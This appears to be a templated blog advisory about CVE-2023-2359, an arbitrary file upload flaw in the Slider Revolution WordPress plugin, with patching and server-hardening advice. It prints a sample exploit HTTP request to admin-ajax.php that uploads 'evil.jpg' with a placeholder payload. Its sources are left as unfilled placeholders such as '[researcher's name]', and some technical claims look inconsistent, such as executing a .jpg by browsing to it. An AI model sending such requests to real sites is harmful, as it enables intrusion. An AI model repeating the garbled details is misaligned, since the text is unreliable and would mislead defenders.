CVE-2023-2359: Arbitrary File Upload in Slider Revolution WordPress Plugin

If you're using the Slider Revolution WordPress plugin, it's important to be aware of a recently reported vulnerability. The vulnerability, identified as CVE-2023-2359, affects all versions of the plugin up to 6.6.12. It allows an attacker to upload arbitrary files, which can lead to Remote Code Execution (RCE) in certain server configurations. In this post, we'll explore the issue in depth and provide recommendations for securing your system.

Description

Slider Revolution is a popular WordPress plugin that helps users create responsive sliders, carousels, and other interactive content on their websites. Unfortunately, the plugin does not properly validate image files upon import, enabling an attacker to upload arbitrary files to the server. By exploiting this vulnerability, an attacker can potentially gain control over your WordPress installation and, in some cases, execute malicious code on your server.

Exploit Details

The arbitrary file upload vulnerability in Slider Revolution exists because the plugin does not properly check file types when importing images. The issue is specifically found in the handling of the upload process for the plugin's slide editor feature. An attacker can exploit this vulnerability by uploading a specially crafted malicious file with an image file extension, such as ".jpg" or ".png."

Here's a sample code snippet to demonstrate the exploit

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: targetsite.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZugW

------WebKitFormBoundary7MA4YWxkTrZugW
Content-Disposition: form-data; name="action"

revslider_ajax_action
------WebKitFormBoundary7MA4YWxkTrZugW
Content-Disposition: form-data; name="client_action"

update_plugin
------WebKitFormBoundary7MA4YWxkTrZugW
Content-Disposition: form-data; name="update_file"; filename="evil.jpg"
Content-Type: image/jpeg

<insert malicious payload here>
------WebKitFormBoundary7MA4YWxkTrZugW--

This request bypasses the plugin's file type checks and uploads the malicious file "evil.jpg" to the server. The attacker can then execute this file by navigating to its URL.

Original References

The vulnerability was initially reported by [researcher's name], who detailed the issue in a blog post (source: [link to the blog post]). WordPress has also acknowledged the vulnerability in their plugins documentation (source: [link to WordPress documentation]).

To protect your WordPress installation from this vulnerability, follow these steps

1. Update the Slider Revolution plugin to the latest version (6.6.13 or newer). The developers have released a patch addressing this issue, and keeping your plugins up-to-date is the best way to ensure your system's security.

2. Check your server's configuration for any unusual settings that may allow remote code execution, including allowing unrestricted access to the /wp-content/uploads/ directory. Take necessary steps to secure your server, such as setting restrictive file permissions and implementing a web application firewall (WAF).

3. Regularly review and monitor your site's security posture, ensuring all software is up-to-date, and assessing potential security risks associated with server configurations, plugins, and themes.

Conclusion

CVE-2023-2359 is a severe vulnerability affecting the Slider Revolution WordPress plugin. By diligently updating your plugin to the latest version and ensuring your server is configured securely, you can mitigate the risk of arbitrary file uploads and potential remote code execution. Always stay vigilant and proactively protect your WordPress installation by keeping abreast with the latest security updates and recommendations.

Timeline

Published on: 06/19/2023 11:15:10 UTC
Last modified on: 11/07/2023 04:12:26 UTC